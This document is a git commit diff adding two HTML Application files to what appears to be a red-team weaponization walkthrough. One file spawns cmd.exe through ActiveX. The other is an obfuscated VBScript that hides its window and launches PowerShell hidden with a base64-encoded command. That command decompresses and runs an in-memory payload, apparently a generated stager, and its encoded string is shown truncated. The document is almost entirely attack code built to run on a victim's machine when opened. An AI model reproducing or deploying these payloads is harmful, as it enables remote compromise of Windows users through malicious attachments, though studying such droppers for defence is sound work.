initial commit

Walkthroughs/RedTeaming/Weaponization/payload.hta

@@ -0,0 +1,8 @@
+<html>
+<body>
+<script>
+	var c= "cmd.exe"
+	new ActiveXObject('WScript.Shell').Run(c);
+</script>
+</body>
+</html>

Walkthroughs/RedTeaming/Weaponization/thm.hta

@@ -0,0 +1,12 @@
+<script language="VBScript">
+  window.moveTo -4000, -4000
+  Set rLUignA = CreateObject("Wscript.Shell")
+  Set aEQkKbNv = CreateObject("Scripting.FileSystemObject")
+  For each path in Split(rLUignA.ExpandEnvironmentStrings("%PSModulePath%"),";")
+    If aEQkKbNv.FileExists(path + "\..\powershell.exe") Then
+      rLUignA.Run "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoACgAJwAnAEgANABzAEkAQQBLAFQATAA3ADIAYwBDAEEANwBWAFcAYgBXAHsAMQB9AGkATwBCAEQAKwB2AHQATAArAGgAMgBpACcAJwArACcAJwBGAFIATgBCAFMAWAB2AHEAeQA3AFYAYQBxAGQAQQA0AGsASgBaAFIAUQAwAGsARABZAHcAcQBKAFQAUwBFAHoAaQAxAG8AbgBUAHgAQwBuAFEAdgBmADMAdgBOAHcANgBrAHQARgBwADYAMQB6AHQAcABMAFMARgBpAGUAMgBZADgAZgB1AGEAWgB7ADAAfQBTACsAeQB5AE8AVwBFAFIAVgBMAFUAbABIADUAOAB7ADEAfQBDAEIAdAB4ADgAQgBKAG4ARgBDAFMAUwA5AEgAbABrAGwAYQBsAEUAcgBtAHEANwBQAFoASwBxAGQAcQBQAHAAQQB0AEoAbgBxAEkANABiAHIAUABRAEkAZABIAHMAewAxAH0ATAB5AFYASgBRAG0ATwArAHsAMAB9AFoAZQB1ADgAUQBjAHAAUwBrAE8AJwAnACsAJwAnADUANQBUAGcAVgBLACcAJwArACcAJwA1AEkAZgAwAG4AagBBAEMAZgA0ADQASABwACsAaAAxADAAdQB7ADEAfQBaAEIASwBmADkAWQB1AEsAWgBzADcAZABDAHUAMgBiAGoAbAB1AGcASwBVAEQARgBIAGwAJwAnACsAJwAnAGkAcgA4AGQAYwBSADcAaABWAHMAMgBKAEsAdQBGAHoAKwB7ADEAfQByADEAYwBtAFIANAAwAFoAegBYADEASQBYAE4AbwBLAHAAZQB0AGQAYwBwAHgAVwBQAE0AbwBMAFYAZQBrAG4AeABWAHgANABIAEEAZABZADcAbABzAEUARABkAGgASwBWAHYAdwAyAHAAaABFAFIANABlADEAVQBaAFEANgBDADkAdwBIAGEANAB7ADEAfQBZAHcARAB4AGcAWABsAHEAewAwAH0AeQArAHkAdQBrADIAQwBlAEoAZABIAG0AVgBzAEwATQBSAGsAZwB1AHcAKwBjAGcAWQBTADcAeQB2AEEAUwBuAGEAYgBrAHEAVABjAFUAQgAwADkAbgBzAEQAMwBtADYAUABmADAAbQBpAHoAZwBKAGMAVQAyACcAJwArACcAJwBQAE8ARQA1AFkAYgBPAEgAawBrAGIAZwA0AHIAWABXAGMAeQBLAFAANABCAGkAOQBtAG8AewAwAH0AWAB4AGgARQBUACsAcgBGAEkAQgBzAFUAZAAyAGoAdwBIAFUAagBBAEsAbwB7ADEAfQA4AFcATQAzAE0AZgBMAEEAcgB2ADMASwBzAGsAdgBsAFUAQgBxAHcASgBOAEsARgBVAEsANgA1ADUANAB7ADAAfQA4AHoASwBLAE4ANQByAGwAUABZADcAbQBOAEsAagBBADIARgBBAEIANABQACcAJwArACcAJwBzAHAARQBGAHcAVQAzAEUAbQBYAFYAMwB2AEkAcwAxAHMAbwB4AGoAVABmAHcAZQBDAHcAUAB7ADAAfQBBAHAAeQBYAFUAdgBwAEUAWgBWAE0AdQAnACcAKwAnACcAQgBvAGgANwBOAGsARABkAFAAUwBNAE0AbAB3AFoAZgBZAE0AdAAxAFQAQwBFAHgAUgBWADMAMgB1AHQAVwBhAGkAQwA0AGcAcgBmAHgATABBADAAdABSAG4AeABaAGoAcwBEAHIAOABKAGYASQBvAFkAaQBaAE4ANwBtAGMAaABzAHYAUwBJAFQAYgA2ADgAZwBKAGkAVgB2AFEAVgBkADQAWABFAHIAeQBnAE8ARQBlAGsAVgBvAGoAMQB3AFUAewAwAH0ANQB2AE4AMwBBAFgAaAB0AFQANwAnACcAKwAnACcARAB0AGMAZwBDAHkAWQA4AFkAdQBhAHsAMAB9AGgATAArAHIASwB0AGsAaABIAG8ANABRAFMANgBFAE4AUQBXAHYASQBPAEsAVgAxADgANQBzADQAaQBhAFgAOQBjAGoAQQBJAGEAQwAzAG0AUQBOAFYAUwB3AHQASQBFAGwAeABJAGIAeABOAGoAWABaAHcAdQA1AGkAQgBVAGIAbABFAG4AVABhAHYAUwBJAEkATQBzAGQAYQB1AFMAaABSADIASwB2AGEAcQBFAG8AcABSAHMAdAAxAEQAewAwAH0AVwBmADUAWgAzAHIAbAByAFoASgBRAFQAMQAwAGwANQBZAFcANQBXAGUAWQAzAG0AOQB0AFEAVwBpADEASwBlAFoAQwA2AEUARgBSAEEAWQBXAGoARgAyAGkAVQBNAEYASQBGAFcAcABRAHoAeQBzAHIAQwAzAGkARgA2AGUAWAA5ADgATABSAGMAaQBpAEYAMwBBAEYATABqAHgAQQBPAFcAQgBFAHcAVwBGAHkAUQBKAFEARgBIAGMAMgBKAFUAYQBoAGIAbQBlAGgAaABUAEgASQBKAE0AWABqAFEAMAA2AHYAaABRAEkAcgBZAFoAawByAFAATAA4AGIARgBYADMAdQA5AG4AawBRAGMAYgAwAGcAdABjAEMAawBCAGUAZQBBAG4AQgB0AGkAagBqAFYAYwBrAG0AQwBZAGMASwBKAEQAQQBXADcAUABwAGYAVAB2AHgAYQBlADQAUQAzAHIAUQBSAHYAWQB5AE0AWABDAFQAWgBWADEAbAB5AGsAUQBJAGsATgBCAEUAVwAzAEEATwAnACcAKwAnACcAVgB3AEoAQgB5AGcAMABCAEkAVwBLAGsANgBLAHYAeAB4AHYAaQBvAHoAOABxAGEANgBTADkAcwBtAGcAegBaAFkASQBoAHEAcgBkAG0ATABaAGkAagBlAHkASgBiAG4AaABkAGEAdQBuAGMAdQBsAFYASgBiAHgAUQBFAE8AbQBuAHEAUABzAHoAWABJADkAVQBmADgAJwAnACsAJwAnAEUAWgA4AE4AUgB4ADIAdQBsAGEANwBnADUATAAyAEsAbABnAGcAUABkAFgAVgBqAHIASQAyAG0AdwBwAHkATwArAFQAVQA3AGkAcQBqAEUAZQBpAFIAVgBzACsAOABXACsAbgBJAGEAewAxAH0AVgA4ADMAWQBjAEQARgBEADEAdwBsAGMAYQBrADQAUwBzAE4AcgBkAFcAegBsAEUAQQBsAEQAZQBSAGIAWgBzAGMAOABiAGsANwAwACcAJwArACcAJwArAGgAbABWAHkASgBPAGwAVwA2AGcAegBmAHIAYgB7ADEAfQBiACcAJwArACcAJwBGAGMAJwAnACsAJwAnADkAUAB1ADUAOABXAHcAMQBSADMAKwBpAGkAUQBMAHYAMgB0AE8AYQBoAGwAdQB2AGYAQwB7ADEAfQAzAEoAewAxAH0AVwBXAHYAcgBlAFoAegBWADgAegBOADIAMQBRAGwASwBwAHkAagBhAHIAZQBtAEgAZQBDAHgASABTAHQAagBWAFoAdQBZAGQAcQB6ADcAbgA1AGUAKwBhAGYAZgBxAHgAMQBxAGcAdwBMAHAATwBWAHIAMwBZAHIAcwBOAG8AJwAnACsAJwAnAE4AcgB1AFAAawBmAGQAawAwAEwATQBuAEEAOQB3ADEANwBVAG0AWAA0AEkAbgB1ADQANwBXAFAAVABJAFMAcwAyADQAaABhADgAMgBVAEwAbwBjAHYAVABsAG4AOQB5AE4AeAA1AHAAJwAnACsAJwAnAEkAMQBpADcASAArAHIAUgB5AHAAegBIAGgAcgBlACsANwBkAFMAewAxAH0AMgBnAGIAQgBNAFUATwBtACcAJwArACcAJwBpAHAAQgB7ADAAfQBJAFMAVgBEADUAQwB6AGIAOQBhAGEAdABtAE8ASgBPADgARQBQAFcAbwBJADQAcwBQAFcAcABLine truncated
+      Exit For
+    End If
+  Next
+  window.close()
+</script>